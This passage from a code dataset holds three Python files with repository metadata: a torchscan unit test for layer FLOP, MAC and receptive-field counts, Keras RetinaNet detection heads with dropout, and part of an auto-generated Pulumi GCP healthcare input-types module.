| 36.299189 | 90 | 0.618535 | 3,764 | 35,791 | 5.730871 | 0.10813 | 0.033378 | 0.031153 | 0.031338 | 0.869825 | 0.85462 | 0.843586 | 0.828103 | 0.815493 | 0.812433 | 0 | 0.030987 | 0.303009 | 35,791 | 985 | 91 | 36.336041 | 0.833721 | 0.213434 | 0 | 0.737681 | 0 | 0 | 0.10389 | 0 | 0 | 0 | 0 | 0 | 0.063768 | 1 | 0.043478 | false | 0 | 0.011594 | 0 | 0.065217 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
c797eb10101d990b77e7bb5e6c57289ea5dcbdff | 11,929 | py | Python | test/test_modules.py | frgfm/torch-scan | 61116d92e35a8c65e7d9f46c6f88939d04c11cfe | [
"Apache-2.0"
] | 91 | 2020-03-17T00:25:45.000Z | 2022-03-12T13:42:53.000Z | test/test_modules.py | frgfm/torch-scan | 61116d92e35a8c65e7d9f46c6f88939d04c11cfe | [
"Apache-2.0"
] | 37 | 2020-03-17T01:39:19.000Z | 2021-07-13T09:17:14.000Z | test/test_modules.py | frgfm/torch-scan | 61116d92e35a8c65e7d9f46c6f88939d04c11cfe | [
"Apache-2.0"
] | 9 | 2020-04-24T10:42:33.000Z | 2021-12-29T11:49:42.000Z | # Copyright (C) 2020-2021, François-Guillaume Fernandez.
# This program is licensed under the Apache License version 2.
# See LICENSE or go to <https://www.apache.org/licenses/LICENSE-2.0.txt> for full license details.
import unittest
import torch
from torch import nn
from torchscan import modules
class MyModule(nn.Module):
def __init__(self):
super().__init__()
class Tester(unittest.TestCase):
@torch.no_grad()
def test_module_flops(self):
# Check for unknown module that it returns 0 and throws a warning
self.assertEqual(modules.module_flops(MyModule(), None, None), 0)
self.assertWarns(UserWarning, modules.module_flops, MyModule(), None, None)
# Common unit tests
self.assertEqual(modules.module_flops(nn.Linear(8, 4), (torch.zeros((1, 8)),), torch.zeros((1, 4))),
4 * (2 * 8 - 1) + 4)
self.assertEqual(modules.module_flops(nn.Linear(8, 4, bias=False), (torch.zeros((1, 8)),), torch.zeros((1, 4))),
4 * (2 * 8 - 1))
# Activations
self.assertEqual(modules.module_flops(nn.Identity(), (torch.zeros((1, 8)),), torch.zeros((1, 8))), 0)
self.assertEqual(modules.module_flops(nn.Flatten(), (torch.zeros((1, 8)),), torch.zeros((1, 8))), 0)
self.assertEqual(modules.module_flops(nn.ReLU(), (torch.zeros((1, 8)),), torch.zeros((1, 8))), 8)
self.assertEqual(modules.module_flops(nn.ELU(), (torch.zeros((1, 8)),), torch.zeros((1, 8))), 48)
self.assertEqual(modules.module_flops(nn.LeakyReLU(), (torch.zeros((1, 8)),), torch.zeros((1, 8))), 32)
self.assertEqual(modules.module_flops(nn.ReLU6(), (torch.zeros((1, 8)),), torch.zeros((1, 8))), 16)
self.assertEqual(modules.module_flops(nn.Tanh(), (torch.zeros((1, 8)),), torch.zeros((1, 8))), 48)
self.assertEqual(modules.module_flops(nn.Sigmoid(), (torch.zeros((1, 8)),), torch.zeros((1, 8))), 32)
# BN
self.assertEqual(modules.module_flops(nn.BatchNorm1d(8), (torch.zeros((1, 8, 4)),), torch.zeros((1, 8, 4))),
144 + 32 + 32 * 3 + 48)
# Pooling
self.assertEqual(modules.module_flops(nn.MaxPool2d((2, 2)),
(torch.zeros((1, 8, 4, 4)),), torch.zeros((1, 8, 2, 2))),
3 * 32)
self.assertEqual(modules.module_flops(nn.AvgPool2d((2, 2)),
(torch.zeros((1, 8, 4, 4)),), torch.zeros((1, 8, 2, 2))),
5 * 32)
self.assertEqual(modules.module_flops(nn.AdaptiveMaxPool2d((2, 2)),
(torch.zeros((1, 8, 4, 4)),), torch.zeros((1, 8, 2, 2))),
3 * 32)
# Check that single integer output size is supported
self.assertEqual(modules.module_flops(nn.AdaptiveMaxPool2d(2),
(torch.zeros((1, 8, 4, 4)),), torch.zeros((1, 8, 2, 2))),
3 * 32)
self.assertEqual(modules.module_flops(nn.AdaptiveAvgPool2d((2, 2)),
(torch.zeros((1, 8, 4, 4)),), torch.zeros((1, 8, 2, 2))),
5 * 32)
# Check that single integer output size is supported
self.assertEqual(modules.module_flops(nn.AdaptiveAvgPool2d(2),
(torch.zeros((1, 8, 4, 4)),), torch.zeros((1, 8, 2, 2))),
5 * 32)
# Dropout
self.assertEqual(modules.module_flops(nn.Dropout(), (torch.zeros((1, 8)),), torch.zeros((1, 8))), 8)
self.assertEqual(modules.module_flops(nn.Dropout(p=0), (torch.zeros((1, 8)),), torch.zeros((1, 8))), 0)
# Conv
input_t = torch.rand((1, 3, 32, 32))
mod = nn.Conv2d(3, 8, 3)
self.assertEqual(modules.module_flops(mod, (input_t,), mod(input_t)), 388800)
# ConvTranspose
mod = nn.ConvTranspose2d(3, 8, 3)
self.assertEqual(modules.module_flops(mod, (input_t,), mod(input_t)), 499408)
# Transformer
mod = nn.Transformer(nhead=4, num_encoder_layers=3)
src = torch.rand((10, 32, 512))
tgt = torch.rand((20, 32, 512))
self.assertEqual(modules.module_flops(mod, (src, tgt), mod(src, tgt)), 1916295945)
@torch.no_grad()
def test_module_macs(self):
# Check for unknown module that it returns 0 and throws a warning
self.assertEqual(modules.module_macs(MyModule(), None, None), 0)
self.assertWarns(UserWarning, modules.module_macs, MyModule(), None, None)
# Linear
self.assertEqual(modules.module_macs(nn.Linear(8, 4), torch.zeros((1, 8)), torch.zeros((1, 4))),
8 * 4)
# Activations
self.assertEqual(modules.module_macs(nn.ReLU(), None, None), 0)
# Conv
input_t = torch.rand((1, 3, 32, 32))
mod = nn.Conv2d(3, 8, 3)
self.assertEqual(modules.module_macs(mod, input_t, mod(input_t)), 194400)
# ConvTranspose
mod = nn.ConvTranspose2d(3, 8, 3)
self.assertEqual(modules.module_macs(mod, input_t, mod(input_t)), 249704)
# BN
self.assertEqual(modules.module_macs(nn.BatchNorm1d(8), torch.zeros((1, 8, 4)), torch.zeros((1, 8, 4))),
64 + 24 + 56 + 32)
# Pooling
self.assertEqual(modules.module_macs(nn.MaxPool2d((2, 2)),
torch.zeros((1, 8, 4, 4)), torch.zeros((1, 8, 2, 2))),
3 * 32)
self.assertEqual(modules.module_macs(nn.AvgPool2d((2, 2)),
torch.zeros((1, 8, 4, 4)), torch.zeros((1, 8, 2, 2))),
5 * 32)
self.assertEqual(modules.module_macs(nn.AdaptiveMaxPool2d((2, 2)),
torch.zeros((1, 8, 4, 4)), torch.zeros((1, 8, 2, 2))),
3 * 32)
self.assertEqual(modules.module_macs(nn.AdaptiveAvgPool2d((2, 2)),
torch.zeros((1, 8, 4, 4)), torch.zeros((1, 8, 2, 2))),
5 * 32)
# Test support integer output-size support
self.assertEqual(modules.module_macs(nn.AdaptiveMaxPool2d(2),
torch.zeros((1, 8, 4, 4)), torch.zeros((1, 8, 2, 2))),
3 * 32)
self.assertEqual(modules.module_macs(nn.AdaptiveAvgPool2d(2),
torch.zeros((1, 8, 4, 4)), torch.zeros((1, 8, 2, 2))),
5 * 32)
# Dropout
self.assertEqual(modules.module_macs(nn.Dropout(), torch.zeros((1, 8)), torch.zeros((1, 8))), 0)
@torch.no_grad()
def test_module_dmas(self):
# Check for unknown module that it returns 0 and throws a warning
self.assertEqual(modules.module_dmas(MyModule(), None, None), 0)
self.assertWarns(UserWarning, modules.module_dmas, MyModule(), None, None)
# Common unit tests
# Linear
self.assertEqual(modules.module_dmas(nn.Linear(8, 4), torch.zeros((1, 8)), torch.zeros((1, 4))),
4 * (8 + 1) + 8 + 4)
# Activation
self.assertEqual(modules.module_dmas(nn.Identity(), torch.zeros((1, 8)), torch.zeros((1, 8))), 8)
self.assertEqual(modules.module_dmas(nn.Flatten(), torch.zeros((1, 8)), torch.zeros((1, 8))), 16)
self.assertEqual(modules.module_dmas(nn.ReLU(), torch.zeros((1, 8)), torch.zeros((1, 8))), 8 * 2)
self.assertEqual(modules.module_dmas(nn.ReLU(inplace=True), torch.zeros((1, 8)), None), 8)
self.assertEqual(modules.module_dmas(nn.ELU(), torch.zeros((1, 8)), torch.zeros((1, 8))), 17)
self.assertEqual(modules.module_dmas(nn.Sigmoid(), torch.zeros((1, 8)), torch.zeros((1, 8))), 16)
self.assertEqual(modules.module_dmas(nn.Tanh(), torch.zeros((1, 8)), torch.zeros((1, 8))), 24)
# Conv
input_t = torch.rand((1, 3, 32, 32))
mod = nn.Conv2d(3, 8, 3)
self.assertEqual(modules.module_dmas(mod, input_t, mod(input_t)), 201824)
# ConvTranspose
mod = nn.ConvTranspose2d(3, 8, 3)
self.assertEqual(modules.module_dmas(mod, input_t, mod(input_t)), 259178)
# BN
self.assertEqual(modules.module_dmas(nn.BatchNorm1d(8), torch.zeros((1, 8, 4)), torch.zeros((1, 8, 4))),
32 + 17 + 1 + 16 + 17 + 32)
# Pooling
self.assertEqual(modules.module_dmas(nn.MaxPool2d((2, 2)),
torch.zeros((1, 8, 4, 4)), torch.zeros((1, 8, 2, 2))),
4 * 32 + 32)
self.assertEqual(modules.module_dmas(nn.AdaptiveMaxPool2d((2, 2)),
torch.zeros((1, 8, 4, 4)), torch.zeros((1, 8, 2, 2))),
4 * 32 + 32)
# Integer output size support
self.assertEqual(modules.module_dmas(nn.MaxPool2d(2),
torch.zeros((1, 8, 4, 4)), torch.zeros((1, 8, 2, 2))),
4 * 32 + 32)
self.assertEqual(modules.module_dmas(nn.AdaptiveMaxPool2d(2),
torch.zeros((1, 8, 4, 4)), torch.zeros((1, 8, 2, 2))),
4 * 32 + 32)
# Dropout
self.assertEqual(modules.module_dmas(nn.Dropout(), torch.zeros((1, 8)), torch.zeros((1, 8))), 17)
@torch.no_grad()
def test_module_rf(self):
# Check for unknown module that it returns 0 and throws a warning
self.assertEqual(modules.module_rf(MyModule(), None, None), (1, 1, 0))
self.assertWarns(UserWarning, modules.module_rf, MyModule(), None, None)
# Common unit tests
# Linear
self.assertEqual(modules.module_rf(nn.Linear(8, 4), torch.zeros((1, 8)), torch.zeros((1, 4))),
(1, 1, 0))
# Activation
self.assertEqual(modules.module_rf(nn.Identity(), torch.zeros((1, 8)), torch.zeros((1, 8))), (1, 1, 0))
self.assertEqual(modules.module_rf(nn.Flatten(), torch.zeros((1, 8)), torch.zeros((1, 8))), (1, 1, 0))
self.assertEqual(modules.module_rf(nn.ReLU(), torch.zeros((1, 8)), torch.zeros((1, 8))), (1, 1, 0))
self.assertEqual(modules.module_rf(nn.ELU(), torch.zeros((1, 8)), torch.zeros((1, 8))), (1, 1, 0))
self.assertEqual(modules.module_rf(nn.Sigmoid(), torch.zeros((1, 8)), torch.zeros((1, 8))), (1, 1, 0))
self.assertEqual(modules.module_rf(nn.Tanh(), torch.zeros((1, 8)), torch.zeros((1, 8))), (1, 1, 0))
# Conv
input_t = torch.rand((1, 3, 32, 32))
mod = nn.Conv2d(3, 8, 3)
self.assertEqual(modules.module_rf(mod, input_t, mod(input_t)), (3, 1, 0))
# Check for dilation support
mod = nn.Conv2d(3, 8, 3, dilation=2)
self.assertEqual(modules.module_rf(mod, input_t, mod(input_t)), (5, 1, 0))
# ConvTranspose
mod = nn.ConvTranspose2d(3, 8, 3)
self.assertEqual(modules.module_rf(mod, input_t, mod(input_t)), (-3, 1, 0))
# BN
self.assertEqual(modules.module_rf(nn.BatchNorm1d(8), torch.zeros((1, 8, 4)), torch.zeros((1, 8, 4))),
(1, 1, 0))
# Pooling
self.assertEqual(modules.module_rf(nn.MaxPool2d((2, 2)),
torch.zeros((1, 8, 4, 4)), torch.zeros((1, 8, 2, 2))),
(2, 2, 0))
self.assertEqual(modules.module_rf(nn.AdaptiveMaxPool2d((2, 2)),
torch.zeros((1, 8, 4, 4)), torch.zeros((1, 8, 2, 2))),
(2, 2, 0))
# Dropout
self.assertEqual(modules.module_rf(nn.Dropout(), torch.zeros((1, 8)), torch.zeros((1, 8))), (1, 1, 0))
if __name__ == '__main__':
unittest.main()
| 52.783186 | 120 | 0.537597 | 1,573 | 11,929 | 3.998093 | 0.090273 | 0.166958 | 0.183654 | 0.190809 | 0.898076 | 0.885514 | 0.758944 | 0.734775 | 0.708698 | 0.660836 | 0 | 0.080285 | 0.294157 | 11,929 | 225 | 121 | 53.017778 | 0.666627 | 0.079722 | 0 | 0.357616 | 0 | 0 | 0.000732 | 0 | 0 | 0 | 0 | 0 | 0.476821 | 1 | 0.033113 | false | 0 | 0.02649 | 0 | 0.072848 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
c7d8a82bfa50897bc43eef3bf3104e26168b13b1 | 10,062 | py | Python | src/retina_net/models/multitask_headers.py | asharakeh/bayes-od-rc | 3f478e5c9a593ee03d7b63d533d46d87d739fc26 | [
"MIT"
] | 30 | 2019-09-17T22:37:34.000Z | 2022-01-17T14:34:42.000Z | src/retina_net/models/multitask_headers.py | asharakeh/bayes-od-rc | 3f478e5c9a593ee03d7b63d533d46d87d739fc26 | [
"MIT"
] | 4 | 2019-10-07T23:05:46.000Z | 2020-11-26T16:24:28.000Z | src/retina_net/models/multitask_headers.py | asharakeh/bayes-od-rc | 3f478e5c9a593ee03d7b63d533d46d87d739fc26 | [
"MIT"
] | 5 | 2019-09-17T22:37:36.000Z | 2022-02-16T13:33:24.000Z | import numpy as np
import tensorflow as tf
keras = tf.keras
class ClsHeader(keras.Model):
def __init__(self, header_config):
super(ClsHeader, self).__init__()
self.anchors_per_location = header_config['anchors_per_location']
self.num_classes = header_config['num_classes']
dropout_rate = header_config['dropout_rate']
l2_norm_rate = header_config['l2_norm_rate']
# Classification Header (Naming convention compatible with fizyr
# keras-retinanet)
self.conv_1 = keras.layers.Conv2D(
256,
(3,
3),
strides=(
1,
1),
padding='same',
kernel_initializer='he_normal',
name='pyramid_classification_0',
kernel_regularizer=keras.regularizers.l2(l2_norm_rate))
self.drop_1 = keras.layers.Dropout(
name='drop1', rate=dropout_rate)
self.conv_2 = keras.layers.Conv2D(
256,
(3,
3),
strides=(
1,
1),
padding='same',
kernel_initializer='he_normal',
name='pyramid_classification_1',
kernel_regularizer=keras.regularizers.l2(l2_norm_rate))
self.drop_2 = keras.layers.Dropout(
name='drop2', rate=dropout_rate)
self.conv_3 = keras.layers.Conv2D(
256,
(3,
3),
strides=(
1,
1),
padding='same',
kernel_initializer='he_normal',
name='pyramid_classification_2',
kernel_regularizer=keras.regularizers.l2(l2_norm_rate))
self.drop_3 = keras.layers.Dropout(
name='drop3', rate=dropout_rate)
self.conv_4 = keras.layers.Conv2D(
256,
(3,
3),
strides=(
1,
1),
padding='same',
kernel_initializer='he_normal',
name='pyramid_classification_3',
kernel_regularizer=keras.regularizers.l2(l2_norm_rate))
self.drop_4 = keras.layers.Dropout(
name='drop4', rate=dropout_rate)
cls_bias_initializer = np.zeros(self.num_classes + 1)
cls_bias_initializer[:-1] = -np.log((1.0 - 0.01) / 0.01)
cls_bias_initializer = np.tile(
cls_bias_initializer,
self.anchors_per_location)
self.cls_out = keras.layers.Conv2D(
self.anchors_per_location * (
self.num_classes + 1),
(1,
1),
strides=(1, 1),
padding='same',
kernel_initializer='he_normal',
bias_initializer=keras.initializers.constant(cls_bias_initializer),
name='pyramid_classification')
self.relu = keras.layers.ReLU()
def call(self, input_tensor, mc_dropout_enabled):
num_input_pixels = tf.shape(input_tensor)[
1] * tf.shape(input_tensor)[2]
x = self.conv_1(input_tensor)
x = self.relu(x)
x = self.drop_1(x, training=mc_dropout_enabled)
x = self.conv_2(x)
x = self.relu(x)
x = self.drop_2(x, training=mc_dropout_enabled)
x = self.conv_3(x)
x = self.relu(x)
x = self.drop_3(x, training=mc_dropout_enabled)
x = self.conv_4(x)
x = self.relu(x)
x = self.drop_4(x, training=mc_dropout_enabled)
cls_out = self.cls_out(x)
cls_out = tf.reshape(
cls_out,
[-1, self.anchors_per_location * num_input_pixels, self.num_classes + 1])
return cls_out
class RegHeader(keras.Model):
def __init__(self, header_config):
super(RegHeader, self).__init__()
self.anchors_per_location = header_config['anchors_per_location']
dropout_rate = header_config['dropout_rate']
l2_norm_rate = header_config['l2_norm_rate']
# Regression Header
self.conv_1 = keras.layers.Conv2D(
256,
(3,
3),
strides=(
1,
1),
padding='same',
kernel_initializer='he_normal',
name='pyramid_regression_0',
kernel_regularizer=keras.regularizers.l2(l2_norm_rate))
self.drop_1 = keras.layers.Dropout(
name='drop1', rate=dropout_rate)
self.conv_2 = keras.layers.Conv2D(
256,
(3,
3),
strides=(
1,
1),
padding='same',
kernel_initializer='he_normal',
name='pyramid_regression_1',
kernel_regularizer=keras.regularizers.l2(l2_norm_rate))
self.drop_2 = keras.layers.Dropout(
name='drop2', rate=dropout_rate)
self.conv_3 = keras.layers.Conv2D(
256,
(3,
3),
strides=(
1,
1),
padding='same',
kernel_initializer='he_normal',
name='pyramid_regression_2',
kernel_regularizer=keras.regularizers.l2(l2_norm_rate))
self.drop_3 = keras.layers.Dropout(
name='drop3', rate=dropout_rate)
self.conv_4 = keras.layers.Conv2D(
256,
(3,
3),
strides=(
1,
1),
padding='same',
kernel_initializer='he_normal',
name='pyramid_regression_3',
kernel_regularizer=keras.regularizers.l2(l2_norm_rate))
self.drop_4 = keras.layers.Dropout(
name='drop4', rate=dropout_rate)
self.reg_out = keras.layers.Conv2D(
self.anchors_per_location * 4,
(1,
1),
strides=(
1,
1),
padding='same',
kernel_initializer='he_normal',
name='pyramid_regression')
self.relu = keras.layers.ReLU()
def call(self, input_tensor, mc_dropout_enabled):
num_input_pixels = tf.shape(input_tensor)[
1] * tf.shape(input_tensor)[2]
x = self.conv_1(input_tensor)
x = self.relu(x)
x = self.drop_1(x, training=mc_dropout_enabled)
x = self.conv_2(x)
x = self.relu(x)
x = self.drop_2(x, training=mc_dropout_enabled)
x = self.conv_3(x)
x = self.relu(x)
x = self.drop_3(x, training=mc_dropout_enabled)
reg_out = self.reg_out(x)
reg_out = tf.reshape(
reg_out,
[-1, self.anchors_per_location * num_input_pixels, 4])
return reg_out
class CovHeader(keras.Model):
def __init__(self, header_config):
super(CovHeader, self).__init__()
self.anchors_per_location = header_config['anchors_per_location']
dropout_rate = header_config['dropout_rate']
l2_norm_rate = header_config['l2_norm_rate']
# Covariance Header
self.conv_1 = keras.layers.Conv2D(
256,
(3,
3),
strides=(
1,
1),
padding='same',
kernel_initializer='he_normal',
name='pyramid_cov_0',
kernel_regularizer=keras.regularizers.l2(l2_norm_rate))
self.drop_1 = keras.layers.Dropout(
name='drop1', rate=dropout_rate)
self.conv_2 = keras.layers.Conv2D(
256,
(3,
3),
strides=(
1,
1),
padding='same',
kernel_initializer='he_normal',
name='pyramid_cov_1',
kernel_regularizer=keras.regularizers.l2(l2_norm_rate))
self.drop_2 = keras.layers.Dropout(
name='drop2', rate=dropout_rate)
self.conv_3 = keras.layers.Conv2D(
256,
(3,
3),
strides=(
1,
1),
padding='same',
kernel_initializer='he_normal',
name='pyramid_cov_2',
kernel_regularizer=keras.regularizers.l2(l2_norm_rate))
self.drop_3 = keras.layers.Dropout(
name='drop3', rate=dropout_rate)
self.conv_4 = keras.layers.Conv2D(
256,
(3,
3),
strides=(
1,
1),
padding='same',
kernel_initializer='he_normal',
name='pyramid_cov_3',
kernel_regularizer=keras.regularizers.l2(l2_norm_rate))
self.drop_4 = keras.layers.Dropout(
name='drop4', rate=dropout_rate)
# Number of elements required to describe an NxN covariance matrix is
# computed as: (N * (N + 1)) / 2
cov_init = keras.initializers.TruncatedNormal(mean=0.0, stddev=1e-6)
self.cov_out = keras.layers.Conv2D(
self.anchors_per_location * 10,
(1,
1),
strides=(
1,
1),
padding='same',
kernel_initializer=cov_init,
kernel_regularizer=keras.regularizers.l2(l2_norm_rate),
name='pyramid_cov')
self.relu = keras.layers.ReLU()
def call(self, input_tensor, mc_dropout_enabled):
num_input_pixels = tf.shape(input_tensor)[
1] * tf.shape(input_tensor)[2]
x = self.conv_1(input_tensor)
x = self.relu(x)
x = self.drop_1(x, training=mc_dropout_enabled)
x = self.conv_2(x)
x = self.relu(x)
x = self.drop_2(x, training=mc_dropout_enabled)
x = self.conv_3(x)
x = self.relu(x)
x = self.drop_3(x, training=mc_dropout_enabled)
x = self.conv_4(x)
x = self.relu(x)
x = self.drop_4(x, training=mc_dropout_enabled)
cov_out = self.cov_out(x)
cov_out = tf.reshape(
cov_out, [-1, self.anchors_per_location * num_input_pixels, 10])
return cov_out
| 29.335277 | 85 | 0.535579 | 1,140 | 10,062 | 4.444737 | 0.089474 | 0.032564 | 0.037498 | 0.047365 | 0.851983 | 0.846852 | 0.841326 | 0.841326 | 0.784883 | 0.753503 | 0 | 0.038175 | 0.359571 | 10,062 | 342 | 86 | 29.421053 | 0.748138 | 0.021368 | 0 | 0.79562 | 0 | 0 | 0.067886 | 0.011992 | 0 | 0 | 0 | 0 | 0 | 1 | 0.021898 | false | 0 | 0.007299 | 0 | 0.051095 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
400269ea0378e92fb0efe3079d3b46b1deaa1a8b | 36,785 | py | Python | sdk/python/pulumi_gcp/healthcare/_inputs.py | sisisin/pulumi-gcp | af6681d70ea457843409110c1324817fe55f68ad | [
"ECL-2.0",
"Apache-2.0"
] | 121 | 2018-06-18T19:16:42.000Z | 2022-03-31T06:06:48.000Z | sdk/python/pulumi_gcp/healthcare/_inputs.py | sisisin/pulumi-gcp | af6681d70ea457843409110c1324817fe55f68ad | [
"ECL-2.0",
"Apache-2.0"
] | 492 | 2018-06-22T19:41:03.000Z | 2022-03-31T15:33:53.000Z | sdk/python/pulumi_gcp/healthcare/_inputs.py | sisisin/pulumi-gcp | af6681d70ea457843409110c1324817fe55f68ad | [
"ECL-2.0",
"Apache-2.0"
] | 43 | 2018-06-19T01:43:13.000Z | 2022-03-23T22:43:37.000Z | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
__all__ = [
'ConsentStoreIamBindingConditionArgs',
'ConsentStoreIamMemberConditionArgs',
'DatasetIamBindingConditionArgs',
'DatasetIamMemberConditionArgs',
'DicomStoreIamBindingConditionArgs',
'DicomStoreIamMemberConditionArgs',
'DicomStoreNotificationConfigArgs',
'DicomStoreStreamConfigArgs',
'DicomStoreStreamConfigBigqueryDestinationArgs',
'FhirStoreIamBindingConditionArgs',
'FhirStoreIamMemberConditionArgs',
'FhirStoreNotificationConfigArgs',
'FhirStoreStreamConfigArgs',
'FhirStoreStreamConfigBigqueryDestinationArgs',
'FhirStoreStreamConfigBigqueryDestinationSchemaConfigArgs',
'Hl7StoreIamBindingConditionArgs',
'Hl7StoreIamMemberConditionArgs',
'Hl7StoreNotificationConfigArgs',
'Hl7StoreNotificationConfigsArgs',
'Hl7StoreParserConfigArgs',
]
@pulumi.input_type
class ConsentStoreIamBindingConditionArgs:
def __init__(__self__, *,
expression: pulumi.Input[str],
title: pulumi.Input[str],
description: Optional[pulumi.Input[str]] = None):
pulumi.set(__self__, "expression", expression)
pulumi.set(__self__, "title", title)
if description is not None:
pulumi.set(__self__, "description", description)
@property
@pulumi.getter
def expression(self) -> pulumi.Input[str]:
return pulumi.get(self, "expression")
@expression.setter
def expression(self, value: pulumi.Input[str]):
pulumi.set(self, "expression", value)
@property
@pulumi.getter
def title(self) -> pulumi.Input[str]:
return pulumi.get(self, "title")
@title.setter
def title(self, value: pulumi.Input[str]):
pulumi.set(self, "title", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@pulumi.input_type
class ConsentStoreIamMemberConditionArgs:
def __init__(__self__, *,
expression: pulumi.Input[str],
title: pulumi.Input[str],
description: Optional[pulumi.Input[str]] = None):
pulumi.set(__self__, "expression", expression)
pulumi.set(__self__, "title", title)
if description is not None:
pulumi.set(__self__, "description", description)
@property
@pulumi.getter
def expression(self) -> pulumi.Input[str]:
return pulumi.get(self, "expression")
@expression.setter
def expression(self, value: pulumi.Input[str]):
pulumi.set(self, "expression", value)
@property
@pulumi.getter
def title(self) -> pulumi.Input[str]:
return pulumi.get(self, "title")
@title.setter
def title(self, value: pulumi.Input[str]):
pulumi.set(self, "title", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@pulumi.input_type
class DatasetIamBindingConditionArgs:
def __init__(__self__, *,
expression: pulumi.Input[str],
title: pulumi.Input[str],
description: Optional[pulumi.Input[str]] = None):
pulumi.set(__self__, "expression", expression)
pulumi.set(__self__, "title", title)
if description is not None:
pulumi.set(__self__, "description", description)
@property
@pulumi.getter
def expression(self) -> pulumi.Input[str]:
return pulumi.get(self, "expression")
@expression.setter
def expression(self, value: pulumi.Input[str]):
pulumi.set(self, "expression", value)
@property
@pulumi.getter
def title(self) -> pulumi.Input[str]:
return pulumi.get(self, "title")
@title.setter
def title(self, value: pulumi.Input[str]):
pulumi.set(self, "title", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@pulumi.input_type
class DatasetIamMemberConditionArgs:
def __init__(__self__, *,
expression: pulumi.Input[str],
title: pulumi.Input[str],
description: Optional[pulumi.Input[str]] = None):
pulumi.set(__self__, "expression", expression)
pulumi.set(__self__, "title", title)
if description is not None:
pulumi.set(__self__, "description", description)
@property
@pulumi.getter
def expression(self) -> pulumi.Input[str]:
return pulumi.get(self, "expression")
@expression.setter
def expression(self, value: pulumi.Input[str]):
pulumi.set(self, "expression", value)
@property
@pulumi.getter
def title(self) -> pulumi.Input[str]:
return pulumi.get(self, "title")
@title.setter
def title(self, value: pulumi.Input[str]):
pulumi.set(self, "title", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@pulumi.input_type
class DicomStoreIamBindingConditionArgs:
def __init__(__self__, *,
expression: pulumi.Input[str],
title: pulumi.Input[str],
description: Optional[pulumi.Input[str]] = None):
pulumi.set(__self__, "expression", expression)
pulumi.set(__self__, "title", title)
if description is not None:
pulumi.set(__self__, "description", description)
@property
@pulumi.getter
def expression(self) -> pulumi.Input[str]:
return pulumi.get(self, "expression")
@expression.setter
def expression(self, value: pulumi.Input[str]):
pulumi.set(self, "expression", value)
@property
@pulumi.getter
def title(self) -> pulumi.Input[str]:
return pulumi.get(self, "title")
@title.setter
def title(self, value: pulumi.Input[str]):
pulumi.set(self, "title", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@pulumi.input_type
class DicomStoreIamMemberConditionArgs:
def __init__(__self__, *,
expression: pulumi.Input[str],
title: pulumi.Input[str],
description: Optional[pulumi.Input[str]] = None):
pulumi.set(__self__, "expression", expression)
pulumi.set(__self__, "title", title)
if description is not None:
pulumi.set(__self__, "description", description)
@property
@pulumi.getter
def expression(self) -> pulumi.Input[str]:
return pulumi.get(self, "expression")
@expression.setter
def expression(self, value: pulumi.Input[str]):
pulumi.set(self, "expression", value)
@property
@pulumi.getter
def title(self) -> pulumi.Input[str]:
return pulumi.get(self, "title")
@title.setter
def title(self, value: pulumi.Input[str]):
pulumi.set(self, "title", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@pulumi.input_type
class DicomStoreNotificationConfigArgs:
def __init__(__self__, *,
pubsub_topic: pulumi.Input[str]):
"""
:param pulumi.Input[str] pubsub_topic: The Cloud Pub/Sub topic that notifications of changes are published on. Supplied by the client.
PubsubMessage.Data will contain the resource name. PubsubMessage.MessageId is the ID of this message.
It is guaranteed to be unique within the topic. PubsubMessage.PublishTime is the time at which the message
was published. Notifications are only sent if the topic is non-empty. Topic names must be scoped to a
project. service-PROJECT_NUMBER@gcp-sa-healthcare.iam.gserviceaccount.com must have publisher permissions on the given
Cloud Pub/Sub topic. Not having adequate permissions will cause the calls that send notifications to fail.
"""
pulumi.set(__self__, "pubsub_topic", pubsub_topic)
@property
@pulumi.getter(name="pubsubTopic")
def pubsub_topic(self) -> pulumi.Input[str]:
"""
The Cloud Pub/Sub topic that notifications of changes are published on. Supplied by the client.
PubsubMessage.Data will contain the resource name. PubsubMessage.MessageId is the ID of this message.
It is guaranteed to be unique within the topic. PubsubMessage.PublishTime is the time at which the message
was published. Notifications are only sent if the topic is non-empty. Topic names must be scoped to a
